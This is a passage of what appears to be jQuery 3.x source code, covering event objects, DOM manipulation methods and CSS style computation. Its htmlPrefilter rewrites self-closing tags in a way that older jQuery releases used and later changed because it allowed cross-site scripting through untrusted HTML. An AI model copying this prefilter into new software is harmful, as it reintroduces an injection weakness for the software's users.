) {\n                    return jQuery.nodeName( event.target, \"a\" );\n                }\n            },\n\n            beforeunload: {\n                postDispatch: function( event ) {\n\n                    // Support: Firefox 20+\n                    // Firefox doesn't alert if the returnValue field is not set.\n                    if ( event.result !== undefined && event.originalEvent ) {\n                        event.originalEvent.returnValue = event.result;\n                    }\n                }\n            }\n        }\n    };\n\n    jQuery.removeEvent = function( elem, type, handle ) {\n\n        // This \"if\" is needed for plain objects\n        if ( elem.removeEventListener ) {\n            elem.removeEventListener( type, handle );\n        }\n    };\n\n    jQuery.Event = function( src, props ) {\n\n        // Allow instantiation without the 'new' keyword\n        if ( !( this instanceof jQuery.Event ) ) {\n            return new jQuery.Event( src, props );\n        }\n\n        // Event object\n        if ( src && src.type ) {\n            this.originalEvent = src;\n            this.type = src.type;\n\n            // Events bubbling up the document may have been marked as prevented\n            // by a handler lower down the tree; reflect the correct value.\n            this.isDefaultPrevented = src.defaultPrevented ||\n            src.defaultPrevented === undefined &&\n\n            // Support: Android <=2.3 only\n            src.returnValue === false ?\n                returnTrue :\n                returnFalse;\n\n            // Create target properties\n            // Support: Safari <=6 - 7 only\n            // Target should not be a text node (#504, #13143)\n            this.target = ( src.target && src.target.nodeType === 3 ) ?\n                src.target.parentNode :\n                src.target;\n\n            this.currentTarget = src.currentTarget;\n            this.relatedTarget = src.relatedTarget;\n\n            // Event type\n        } else {\n            this.type = src;\n        }\n\n        // Put explicitly provided properties onto the event object\n        if ( props ) {\n            jQuery.extend( this, props );\n        }\n\n        // Create a timestamp if incoming event doesn't have one\n        this.timeStamp = src && src.timeStamp || jQuery.now();\n\n        // Mark it as fixed\n        this[ jQuery.expando ] = true;\n    };\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\n    jQuery.Event.prototype = {\n        constructor: jQuery.Event,\n        isDefaultPrevented: returnFalse,\n        isPropagationStopped: returnFalse,\n        isImmediatePropagationStopped: returnFalse,\n        isSimulated: false,\n\n        preventDefault: function() {\n            var e = this.originalEvent;\n\n            this.isDefaultPrevented = returnTrue;\n\n            if ( e && !this.isSimulated ) {\n                e.preventDefault();\n            }\n        },\n        stopPropagation: function() {\n            var e = this.originalEvent;\n\n            this.isPropagationStopped = returnTrue;\n\n            if ( e && !this.isSimulated ) {\n                e.stopPropagation();\n            }\n        },\n        stopImmediatePropagation: function() {\n            var e = this.originalEvent;\n\n            this.isImmediatePropagationStopped = returnTrue;\n\n            if ( e && !this.isSimulated ) {\n                e.stopImmediatePropagation();\n            }\n\n            this.stopPropagation();\n        }\n    };\n\n// Includes all common event props including KeyEvent and MouseEvent specific props\n    jQuery.each( {\n        altKey: true,\n        bubbles: true,\n        cancelable: true,\n        changedTouches: true,\n        ctrlKey: true,\n        detail: true,\n        eventPhase: true,\n        metaKey: true,\n        pageX: true,\n        pageY: true,\n        shiftKey: true,\n        view: true,\n        \"char\": true,\n        charCode: true,\n        key: true,\n        keyCode: true,\n        button: true,\n        buttons: true,\n        clientX: true,\n        clientY: true,\n        offsetX: true,\n        offsetY: true,\n        pointerId: true,\n        pointerType: true,\n        screenX: true,\n        screenY: true,\n        targetTouches: true,\n        toElement: true,\n        touches: true,\n\n        which: function( event ) {\n            var button = event.button;\n\n            // Add which for key events\n            if ( event.which == null && rkeyEvent.test( event.type ) ) {\n                return event.charCode != null ? event.charCode : event.keyCode;\n            }\n\n            // Add which for click: 1 === left; 2 === middle; 3 === right\n            if ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) {\n                if ( button & 1 ) {\n                    return 1;\n                }\n\n                if ( button & 2 ) {\n                    return 3;\n                }\n\n                if ( button & 4 ) {\n                    return 2;\n                }\n\n                return 0;\n            }\n\n            return event.which;\n        }\n    }, jQuery.event.addProp );\n\n// Create mouseenter/leave events using mouseover/out and event-time checks\n// so that event delegation works in jQuery.\n// Do the same for pointerenter/pointerleave and pointerover/pointerout\n//\n// Support: Safari 7 only\n// Safari sends mouseenter too often; see:\n// https://bugs.chromium.org/p/chromium/issues/detail?id=470258\n// for the description of the bug (it existed in older Chrome versions as well).\n    jQuery.each( {\n        mouseenter: \"mouseover\",\n        mouseleave: \"mouseout\",\n        pointerenter: \"pointerover\",\n        pointerleave: \"pointerout\"\n    }, function( orig, fix ) {\n        jQuery.event.special[ orig ] = {\n            delegateType: fix,\n            bindType: fix,\n\n            handle: function( event ) {\n                var ret,\n                    target = this,\n                    related = event.relatedTarget,\n                    handleObj = event.handleObj;\n\n                // For mouseenter/leave call the handler if related is outside the target.\n                // NB: No relatedTarget if the mouse left/entered the browser window\n                if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {\n                    event.type = handleObj.origType;\n                    ret = handleObj.handler.apply( this, arguments );\n                    event.type = fix;\n                }\n                return ret;\n            }\n        };\n    } );\n\n    jQuery.fn.extend( {\n\n        on: function( types, selector, data, fn ) {\n            return on( this, types, selector, data, fn );\n        },\n        one: function( types, selector, data, fn ) {\n            return on( this, types, selector, data, fn, 1 );\n        },\n        off: function( types, selector, fn ) {\n            var handleObj, type;\n            if ( types && types.preventDefault && types.handleObj ) {\n\n                // ( event )  dispatched jQuery.Event\n                handleObj = types.handleObj;\n                jQuery( types.delegateTarget ).off(\n                    handleObj.namespace ?\n                        handleObj.origType + \".\" + handleObj.namespace :\n                        handleObj.origType,\n                    handleObj.selector,\n                    handleObj.handler\n                );\n                return this;\n            }\n            if ( typeof types === \"object\" ) {\n\n                // ( types-object [, selector] )\n                for ( type in types ) {\n                    this.off( type, selector, types[ type ] );\n                }\n                return this;\n            }\n            if ( selector === false || typeof selector === \"function\" ) {\n\n                // ( types [, fn] )\n                fn = selector;\n                selector = undefined;\n            }\n            if ( fn === false ) {\n                fn = returnFalse;\n            }\n            return this.each( function() {\n                jQuery.event.remove( this, types, fn, selector );\n            } );\n        }\n    } );\n\n\n    var\n\n        /* eslint-disable max-len */\n\n        // See https://github.com/eslint/eslint/issues/3229\n        rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)[^>]*)\\/>/gi,\n\n        /* eslint-enable */\n\n        // Support: IE <=10 - 11, Edge 12 - 13\n        // In IE/Edge using regex groups here causes severe slowdowns.\n        // See https://connect.microsoft.com/IE/feedback/details/1736512/\n        rnoInnerhtml = /<script|<style|<link/i,\n\n        // checked=\"checked\" or checked\n        rchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n        rscriptTypeMasked = /^true\\/(.*)/,\n        rcleanScript = /^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g;\n\n    function manipulationTarget( elem, content ) {\n        if ( jQuery.nodeName( elem, \"table\" ) &&\n            jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, \"tr\" ) ) {\n\n            return elem.getElementsByTagName( \"tbody\" )[ 0 ] || elem;\n        }\n\n        return elem;\n    }\n\n// Replace/restore the type attribute of script elements for safe DOM manipulation\n    function disableScript( elem ) {\n        elem.type = ( elem.getAttribute( \"type\" ) !== null ) + \"/\" + elem.type;\n        return elem;\n    }\n    function restoreScript( elem ) {\n        var match = rscriptTypeMasked.exec( elem.type );\n\n        if ( match ) {\n            elem.type = match[ 1 ];\n        } else {\n            elem.removeAttribute( \"type\" );\n        }\n\n        return elem;\n    }\n\n    function cloneCopyEvent( src, dest ) {\n        var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;\n\n        if ( dest.nodeType !== 1 ) {\n            return;\n        }\n\n        // 1. Copy private data: events, handlers, etc.\n        if ( dataPriv.hasData( src ) ) {\n            pdataOld = dataPriv.access( src );\n            pdataCur = dataPriv.set( dest, pdataOld );\n            events = pdataOld.events;\n\n            if ( events ) {\n                delete pdataCur.handle;\n                pdataCur.events = {};\n\n                for ( type in events ) {\n                    for ( i = 0, l = events[ type ].length; i < l; i++ ) {\n                        jQuery.event.add( dest, type, events[ type ][ i ] );\n                    }\n                }\n            }\n        }\n\n        // 2. Copy user data\n        if ( dataUser.hasData( src ) ) {\n            udataOld = dataUser.access( src );\n            udataCur = jQuery.extend( {}, udataOld );\n\n            dataUser.set( dest, udataCur );\n        }\n    }\n\n// Fix IE bugs, see support tests\n    function fixInput( src, dest ) {\n        var nodeName = dest.nodeName.toLowerCase();\n\n        // Fails to persist the checked state of a cloned checkbox or radio button.\n        if ( nodeName === \"input\" && rcheckableType.test( src.type ) ) {\n            dest.checked = src.checked;\n\n            // Fails to return the selected option to the default selected state when cloning options\n        } else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n            dest.defaultValue = src.defaultValue;\n        }\n    }\n\n    function domManip( collection, args, callback, ignored ) {\n\n        // Flatten any nested arrays\n        args = concat.apply( [], args );\n\n        var fragment, first, scripts, hasScripts, node, doc,\n            i = 0,\n            l = collection.length,\n            iNoClone = l - 1,\n            value = args[ 0 ],\n            isFunction = jQuery.isFunction( value );\n\n        // We can't cloneNode fragments that contain checked, in WebKit\n        if ( isFunction ||\n            ( l > 1 && typeof value === \"string\" &&\n                !support.checkClone && rchecked.test( value ) ) ) {\n            return collection.each( function( index ) {\n                var self = collection.eq( index );\n                if ( isFunction ) {\n                    args[ 0 ] = value.call( this, index, self.html() );\n                }\n                domManip( self, args, callback, ignored );\n            } );\n        }\n\n        if ( l ) {\n            fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );\n            first = fragment.firstChild;\n\n            if ( fragment.childNodes.length === 1 ) {\n                fragment = first;\n            }\n\n            // Require either new content or an interest in ignored elements to invoke the callback\n            if ( first || ignored ) {\n                scripts = jQuery.map( getAll( fragment, \"script\" ), disableScript );\n                hasScripts = scripts.length;\n\n                // Use the original fragment for the last item\n                // instead of the first because it can end up\n                // being emptied incorrectly in certain situations (#8070).\n                for ( ; i < l; i++ ) {\n                    node = fragment;\n\n                    if ( i !== iNoClone ) {\n                        node = jQuery.clone( node, true, true );\n\n                        // Keep references to cloned scripts for later restoration\n                        if ( hasScripts ) {\n\n                            // Support: Android <=4.0 only, PhantomJS 1 only\n                            // push.apply(_, arraylike) throws on ancient WebKit\n                            jQuery.merge( scripts, getAll( node, \"script\" ) );\n                        }\n                    }\n\n                    callback.call( collection[ i ], node, i );\n                }\n\n                if ( hasScripts ) {\n                    doc = scripts[ scripts.length - 1 ].ownerDocument;\n\n                    // Reenable scripts\n                    jQuery.map( scripts, restoreScript );\n\n                    // Evaluate executable scripts on first document insertion\n                    for ( i = 0; i < hasScripts; i++ ) {\n                        node = scripts[ i ];\n                        if ( rscriptType.test( node.type || \"\" ) &&\n                            !dataPriv.access( node, \"globalEval\" ) &&\n                            jQuery.contains( doc, node ) ) {\n\n                            if ( node.src ) {\n\n                                // Optional AJAX dependency, but won't run scripts if not present\n                                if ( jQuery._evalUrl ) {\n                                    jQuery._evalUrl( node.src );\n                                }\n                            } else {\n                                DOMEval( node.textContent.replace( rcleanScript, \"\" ), doc );\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n        return collection;\n    }\n\n    function remove( elem, selector, keepData ) {\n        var node,\n            nodes = selector ? jQuery.filter( selector, elem ) : elem,\n            i = 0;\n\n        for ( ; ( node = nodes[ i ] ) != null; i++ ) {\n            if ( !keepData && node.nodeType === 1 ) {\n                jQuery.cleanData( getAll( node ) );\n            }\n\n            if ( node.parentNode ) {\n                if ( keepData && jQuery.contains( node.ownerDocument, node ) ) {\n                    setGlobalEval( getAll( node, \"script\" ) );\n                }\n                node.parentNode.removeChild( node );\n            }\n        }\n\n        return elem;\n    }\n\n    jQuery.extend( {\n        htmlPrefilter: function( html ) {\n            return html.replace( rxhtmlTag, \"<$1></$2>\" );\n        },\n\n        clone: function( elem, dataAndEvents, deepDataAndEvents ) {\n            var i, l, srcElements, destElements,\n                clone = elem.cloneNode( true ),\n                inPage = jQuery.contains( elem.ownerDocument, elem );\n\n            // Fix IE cloning issues\n            if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&\n                !jQuery.isXMLDoc( elem ) ) {\n\n                // We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2\n                destElements = getAll( clone );\n                srcElements = getAll( elem );\n\n                for ( i = 0, l = srcElements.length; i < l; i++ ) {\n                    fixInput( srcElements[ i ], destElements[ i ] );\n                }\n            }\n\n            // Copy the events from the original to the clone\n            if ( dataAndEvents ) {\n                if ( deepDataAndEvents ) {\n                    srcElements = srcElements || getAll( elem );\n                    destElements = destElements || getAll( clone );\n\n                    for ( i = 0, l = srcElements.length; i < l; i++ ) {\n                        cloneCopyEvent( srcElements[ i ], destElements[ i ] );\n                    }\n                } else {\n                    cloneCopyEvent( elem, clone );\n                }\n            }\n\n            // Preserve script evaluation history\n            destElements = getAll( clone, \"script\" );\n            if ( destElements.length > 0 ) {\n                setGlobalEval( destElements, !inPage && getAll( elem, \"script\" ) );\n            }\n\n            // Return the cloned set\n            return clone;\n        },\n\n        cleanData: function( elems ) {\n            var data, elem, type,\n                special = jQuery.event.special,\n                i = 0;\n\n            for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {\n                if ( acceptData( elem ) ) {\n                    if ( ( data = elem[ dataPriv.expando ] ) ) {\n                        if ( data.events ) {\n                            for ( type in data.events ) {\n                                if ( special[ type ] ) {\n                                    jQuery.event.remove( elem, type );\n\n                                    // This is a shortcut to avoid jQuery.event.remove's overhead\n                                } else {\n                                    jQuery.removeEvent( elem, type, data.handle );\n                                }\n                            }\n                        }\n\n                        // Support: Chrome <=35 - 45+\n                        // Assign undefined instead of using delete, see Data#remove\n                        elem[ dataPriv.expando ] = undefined;\n                    }\n                    if ( elem[ dataUser.expando ] ) {\n\n                        // Support: Chrome <=35 - 45+\n                        // Assign undefined instead of using delete, see Data#remove\n                        elem[ dataUser.expando ] = undefined;\n                    }\n                }\n            }\n        }\n    } );\n\n    jQuery.fn.extend( {\n        detach: function( selector ) {\n            return remove( this, selector, true );\n        },\n\n        remove: function( selector ) {\n            return remove( this, selector );\n        },\n\n        text: function( value ) {\n            return access( this, function( value ) {\n                return value === undefined ?\n                    jQuery.text( this ) :\n                    this.empty().each( function() {\n                        if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n                            this.textContent = value;\n                        }\n                    } );\n            }, null, value, arguments.length );\n        },\n\n        append: function() {\n            return domManip( this, arguments, function( elem ) {\n                if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n                    var target = manipulationTarget( this, elem );\n                    target.appendChild( elem );\n                }\n            } );\n        },\n\n        prepend: function() {\n            return domManip( this, arguments, function( elem ) {\n                if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n                    var target = manipulationTarget( this, elem );\n                    target.insertBefore( elem, target.firstChild );\n                }\n            } );\n        },\n\n        before: function() {\n            return domManip( this, arguments, function( elem ) {\n                if ( this.parentNode ) {\n                    this.parentNode.insertBefore( elem, this );\n                }\n            } );\n        },\n\n        after: function() {\n            return domManip( this, arguments, function( elem ) {\n                if ( this.parentNode ) {\n                    this.parentNode.insertBefore( elem, this.nextSibling );\n                }\n            } );\n        },\n\n        empty: function() {\n            var elem,\n                i = 0;\n\n            for ( ; ( elem = this[ i ] ) != null; i++ ) {\n                if ( elem.nodeType === 1 ) {\n\n                    // Prevent memory leaks\n                    jQuery.cleanData( getAll( elem, false ) );\n\n                    // Remove any remaining nodes\n                    elem.textContent = \"\";\n                }\n            }\n\n            return this;\n        },\n\n        clone: function( dataAndEvents, deepDataAndEvents ) {\n            dataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n            deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;\n\n            return this.map( function() {\n                return jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n            } );\n        },\n\n        html: function( value ) {\n            return access( this, function( value ) {\n                var elem = this[ 0 ] || {},\n                    i = 0,\n                    l = this.length;\n\n                if ( value === undefined && elem.nodeType === 1 ) {\n                    return elem.innerHTML;\n                }\n\n                // See if we can take a shortcut and just use innerHTML\n                if ( typeof value === \"string\" && !rnoInnerhtml.test( value ) &&\n                    !wrapMap[ ( rtagName.exec( value ) || [ \"\", \"\" ] )[ 1 ].toLowerCase() ] ) {\n\n                    value = jQuery.htmlPrefilter( value );\n\n                    try {\n                        for ( ; i < l; i++ ) {\n                            elem = this[ i ] || {};\n\n                            // Remove element nodes and prevent memory leaks\n                            if ( elem.nodeType === 1 ) {\n                                jQuery.cleanData( getAll( elem, false ) );\n                                elem.innerHTML = value;\n                            }\n                        }\n\n                        elem = 0;\n\n                        // If using innerHTML throws an exception, use the fallback method\n                    } catch ( e ) {}\n                }\n\n                if ( elem ) {\n                    this.empty().append( value );\n                }\n            }, null, value, arguments.length );\n        },\n\n        replaceWith: function() {\n            var ignored = [];\n\n            // Make the changes, replacing each non-ignored context element with the new content\n            return domManip( this, arguments, function( elem ) {\n                var parent = this.parentNode;\n\n                if ( jQuery.inArray( this, ignored ) < 0 ) {\n                    jQuery.cleanData( getAll( this ) );\n                    if ( parent ) {\n                        parent.replaceChild( elem, this );\n                    }\n                }\n\n                // Force callback invocation\n            }, ignored );\n        }\n    } );\n\n    jQuery.each( {\n        appendTo: \"append\",\n        prependTo: \"prepend\",\n        insertBefore: \"before\",\n        insertAfter: \"after\",\n        replaceAll: \"replaceWith\"\n    }, function( name, original ) {\n        jQuery.fn[ name ] = function( selector ) {\n            var elems,\n                ret = [],\n                insert = jQuery( selector ),\n                last = insert.length - 1,\n                i = 0;\n\n            for ( ; i <= last; i++ ) {\n                elems = i === last ? this : this.clone( true );\n                jQuery( insert[ i ] )[ original ]( elems );\n\n                // Support: Android <=4.0 only, PhantomJS 1 only\n                // .get() because push.apply(_, arraylike) throws on ancient WebKit\n                push.apply( ret, elems.get() );\n            }\n\n            return this.pushStack( ret );\n        };\n    } );\n    var rmargin = ( /^margin/ );\n\n    var rnumnonpx = new RegExp( \"^(\" + pnum + \")(?!px)[a-z%]+$\", \"i\" );\n\n    var getStyles = function( elem ) {\n\n        // Support: IE <=11 only, Firefox <=30 (#15098, #14150)\n        // IE throws on elements created in popups\n        // FF meanwhile throws on frame elements through \"defaultView.getComputedStyle\"\n        var view = elem.ownerDocument.defaultView;\n\n        if ( !view || !view.opener ) {\n            view = window;\n        }\n\n        return view.getComputedStyle( elem );\n    };\n\n\n\n    ( function() {\n\n        // Executing both pixelPosition & boxSizingReliable tests require only one layout\n        // so they're executed at the same time to save the second computation.\n        function computeStyleTests() {\n\n            // This is a singleton, we need to execute it only once\n            if ( !div ) {\n                return;\n            }\n\n            div.style.cssText =\n                \"box-sizing:border-box;\" +\n                \"position:relative;display:block;\" +\n                \"margin:auto;border:1px;padding:1px;\" +\n                \"top:1%;width:50%\";\n            div.innerHTML = \"\";\n            documentElement.appendChild( container );\n\n            var divStyle = window.getComputedStyle( div );\n            pixelPositionVal = divStyle.top !== \"1%\";\n\n            // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44\n            reliableMarginLeftVal = divStyle.marginLeft === \"2px\";\n            boxSizingReliableVal = divStyle.width === \"4px\";\n\n            // Support: Android 4.0 - 4.3 only\n            // Some styles come back with percentage values, even though they shouldn't\n            div.style.marginRight = \"50%\";\n            pixelMarginRightVal = divStyle.marginRight === \"4px\";\n\n            documentElement.removeChild( container );\n\n            // Nullify the div so it wouldn't be stored in the memory and\n            // it will also be a sign that checks already performed\n            div = null;\n        }\n\n        var pixelPositionVal, boxSizingReliableVal, pixelMarginRightVal, reliableMarginLeftVal,\n            container = document.createElement( \"div\" ),\n            div = document.createElement( \"div\" );\n\n        // Finish early in limited (non-browser) environments\n        if ( !div.style ) {\n            return;\n        }\n\n        // Support: IE <=9 - 11 only\n        // Style of cloned element affects source element cloned (#8908)\n        div.style.backgroundClip = \"content-box\";\n        div.cloneNode( true ).style.backgroundClip = \"\";\n        support.clearCloneStyle = div.style.backgroundClip === \"content-box\";\n\n        container.style.cssText = \"border:0;width:8px;height:0;top:0;left:-9999px;\" +\n            \"padding:0;margin-top:1px;position:absolute\";\n        container.appendChild( div );\n\n        jQuery.extend( support, {\n            pixelPosition: function() {\n                computeStyleTests();\n                return pixelPositionVal;\n            },\n            boxSizingReliable: function() {\n                computeStyleTests();\n                return boxSizingReliableVal;\n            },\n            pixelMarginRight: function() {\n                computeStyleTests();\n                return pixelMarginRightVal;\n            },\n            reliableMarginLeft: function() {\n                computeStyleTests();\n                return reliableMarginLeftVal;\n            }\n        } );\n    } )();\n\n\n    function curCSS( elem, name, computed ) {\n        var width, minWidth, maxWidth, ret,\n            style = elem.style;\n\n        computed = computed || getStyles( elem );\n\n        // Support: IE <=9 only\n        // getPropertyValue is only needed for .css('filter') (#12537)\n        if ( computed ) {\n            ret = computed.getPropertyValue( name ) || computed[ name ];\n\n            if ( ret === \"\" && !jQuery.contains( elem.ownerDocument, elem ) ) {\n                ret = jQuery.style( elem, name );\n            }\n\n            // A tribute to the \"awesome hack by Dean Edwards\"\n            // Android Browser returns percentage for some values,\n            // but width seems to be reliably pixels.\n            // This is against the CSSOM draft spec:\n            // https://drafts.csswg.org/cssom/#resolved-values\n            if ( !support.pixelMarginRight() && rnumnonpx.test( ret ) && rmargin.test( name ) ) {\n\n                // Remember the original values\n                width = style.width;\n                minWidth = style.minWidth;\n                maxWidth = style.maxWidth;\n\n                // Put in the new values to get a computed value out\n                style.minWidth = style.maxWidth = style.width = ret;\n                ret = computed.width;\n\n                // Revert the changed values\n                style.width = width;\n                style.minWidth = minWidth;\n                style.maxWidth = maxWidth;\n            }\n        }\n\n        return ret !== undefined ?\n\n            // Support: IE <=9 - 11 only\n            // IE returns zIndex value as an integer.\n            ret + \"\" :\n            ret;\n    }\n\n\n    function addGetHookIf( conditionFn, hookFn ) {\n\n        // Define the hook, we'll check on the first run if it's really needed.\n        return {\n            get: function() {\n                if ( conditionFn() ) {\n\n                    // Hook not needed (or it's not possible to use it due\n                    // to missing dependency), remove it.\n                    delete this.get;\n                    return;\n                }\n\n                // Hook needed; redefine it so that the support test is not executed again.\n                return ( this.get = hookFn ).apply( this, arguments );\n            }\n        };\n    }\n\n\n    var\n\n        // Swappable if display is none or starts with table\n        // except \"table\", \"table-cell\", or \"table-caption\"\n        // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display\n        rdisplayswap = /^(none|table(?!-c[ea]).+)/,\n        cssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n        cssNormalTransform = {\n            letterSpacing: \"0\",\n            fontWeight: \"400\"\n        },\n\n        cssPrefixes = [ \"Webkit\", \"Moz\", \"ms\" ],\n        emptyStyle = document.createElement( \"div\" ).style;\n\n// Return a css property mapped to a potentially vendor prefixed property\n    function vendorPropName( name ) {\n\n        // Shortcut for names that are not vendor prefixed\n        if ( name in emptyStyle ) {\n            return name;\n        }\n\n        // Check for vendor prefixed names\n        var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n            i = cssPrefixes.length;\n\n        while ( i-- ) {\n            name = cssPrefixes[ i ] + capName;\n            if ( name in emptyStyle ) {\n                return name;\n            }\n        }\n    }\n\n    function setPositiveNumber( elem, value, subtract ) {\n\n        // Any relative (+/-) values have already been\n        // normalized at this point\n        var matches = rcssNum.exec( value );\n        return matches ?\n\n            // Guard against undefined \"subtract\", e.g., when used as in cssHooks\n            Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || \"px\" ) :\n            value;\n    }\n\n    function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {\n        var i,\n            val = 0;\n\n        // If we already have the right measurement, avoid augmentation\n        if ( extra === ( isBorderBox ? \"border\" : \"content\" ) ) {\n            i = 4;\n\n            // Otherwise initialize for horizontal or vertical properties\n        } else {\n            i = name === \"width\" ? 1 : 0;\n        }\n\n        for ( ; i < 4; i += 2 ) {\n\n            // Both box models exclude margin, so add it if we want it\n            if ( extra === \"margin\" ) {\n                val += jQuery.css( elem, extra + cssExpand[ i ], true, styles );\n            }\n\n            if ( isBorderBox ) {\n\n                // border-box includes padding, so remove it if we want content\n                if ( extra === \"content\" ) {\n                    val -= jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n                }\n\n                // At this point, extra isn't border nor margin, so remove border\n                if ( extra !== \"margin\" ) {\n                    val -= jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n                }\n            } else {\n\n                // At this point, extra isn't content, so add padding\n                val += jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\n                // At this point, extra isn't content nor padding, so add border\n                if ( extra !== \"padding\" ) {\n                    val += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n                }\n            }\n        }\n\n        return val;\n    }\n\n    function getWidthOrHeight( elem, name, extra ) {\n\n        // Start with offset property, which is equivalent to the border-box value\n        var val,\n            valueIsBorderBox = true,\n            styles = getStyles( elem ),\n            isBorderBox = jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\";\n\n        // Support: IE <=11 only\n        // Running getBoundingClientRect on a disconnected node\n        // in IE throws an error.\n        if ( elem.getClientRects().length ) {\n            val = elem.getBoundingClientRect()[ name ];\n        }\n\n        // Some non-html elements return undefined for offsetWidth, so check for null/undefined\n        // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285\n        // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668\n        if ( val <= 0 || val == null ) {\n\n            // Fall back to computed then uncomputed css if necessary\n            val = curCSS( elem, name, styles );\n            if ( val < 0 || val == null ) {\n                val = elem.style[ name ];\n            }\n\n            // Computed unit is not pixels. Stop here and return.\n            if ( rnumnonpx.test( val ) ) {\n                return val;\n            }\n\n            // Check for style in case a browser which returns unreliable values\n            // for getComputedStyle silently falls back to the reliable elem.style\n            valueIsBorderBox = isBorderBox &&\n                ( support.boxSizingReliable() || val === elem.style[ name ] );\n\n            // Normalize \"\", auto, and prepare for extra\n            val = parseFloat( val ) || 0;\n        }\n\n        // Use the active box-sizing model to add/subtract irrelevant styles\n        return ( val +\n            augmentWidthOrHeight(\n                elem,\n                name,\n                extra || ( isBorderBox ? \"border\" : \"content\" ),\n                valueIsBorderBox,\n                styles\n            )\n        ) + \"px\";\n    }\n\n    jQuery.extend( {\n\n        // Add in style property hooks for overriding the default\n        // behavior of getting and setting a style property\n        cssHooks: {\n            opacity: {\n                get: function( elem, computed ) {\n                    if ( computed ) {\n\n                        // We should always get a number back from opacity\n                        var ret = curCSS( elem, \"opacity\" );\n                        return ret === \"\" ? \"1\" : ret;\n                    }\n                }\n            }\n        },\n\n        // Don't automatically add \"px\" to these possibly-unitless properties\n        cssNumber: {\n            \"animationIterationCount\": true,\n            \"columnCount\": true,\n            \"fillOpacity\": true,\n            \"flexGrow\": true,\n            \"flexShrink\": true,\n            \"fontWeight\": true,\n            \"lineHeight\": true,\n            \"opacity\": true,\n            \"order\": true,\n            \"orphans\": true,\n            \"widows\": true,\n            \"zIndex\": true,\n            \"zoom\": true\n        },\n\n        // Add in properties whose names you wish to fix before\n        // setting or getting the value\n        cssProps: {\n            \"float\": \"cssFloat\"\n        },\n\n        // Get and set the style property on a DOM Node\n        style: function( elem, name, value, extra ) {\n\n            // Don't set styles on text and comment nodes\n            if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n                return;\n            }\n\n            // Make sure that we're working with the right name\n            var ret, type, hooks,\n                origName = jQuery.camelCase( name ),\n                style = elem.style;\n\n            name = jQuery.cssProps[ origName ] ||\n                ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );\n\n            // Gets hook for the prefixed version, then unprefixed version\n            hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n            // Check if we're setting a value\n            if ( value !== undefined ) {\n                type = typeof value;\n\n                // Convert \"+=\" or \"-=\" to relative numbers (#7345)\n                if ( type === \"string\" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {\n                    value = adjustCSS( elem, name, ret );\n\n                    // Fixes bug #9237\n                    type = \"number\";\n                }\n\n                // Make sure that null and NaN values aren't set (#7116)\n                if ( value == null || value !== value ) {\n                    return;\n                }\n\n                // If a number was passed in, add the unit (except for certain CSS properties)\n                if ( type === \"number\" ) {\n                    value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? \"\" : \"px\" );\n                }\n\n                // background-* props affect original clone's values\n                if ( !support.clearCloneStyle && value === \"\" && name.indexOf( \"background\" ) === 0 ) {\n                    style[ name ] = \"inherit\";\n                }\n\n                // If a hook was provided, use that value, otherwise just set the specified value\n                if ( !hooks || !( \"set\" in hooks ) ||\n                    ( value = hooks.set( elem, value, extra ) ) !== undefined ) {\n\n                    style[ name ] = value;\n                }\n\n            } else {\n\n                // If a hook was provided get the non-computed value from there\n                if ( hooks && \"get\" in hooks &&\n                    ( ret = hooks.get( elem, false, extra ) ) !== undefined ) {\n\n                    return ret;\n                }\n\n                // Otherwise just get the value from the style object\n                return style[ name ];\n            }\n        },\n\n        css: function( elem, name, extra, styles ) {\n            var val, num, hooks,\n                origName = jQuery.camelCase( name );\n\n            // Make sure that we're working with the right name\n            name = jQuery.cssProps[ origName ] ||\n                ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );\n\n            // Try prefixed name followed by the unprefixed name\n            hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n            // If a hook was provided get the computed value from there\n            if ( hooks && \"get\" in hooks ) {\n                val = hooks.get( elem, true, extra );\n            }\n\n            // Otherwise, if a way to get the computed value exists, use that\n            if ( val === undefined ) {\n                val = curCSS( elem, name, styles );\n            }\n\n            // Convert \"normal\" to 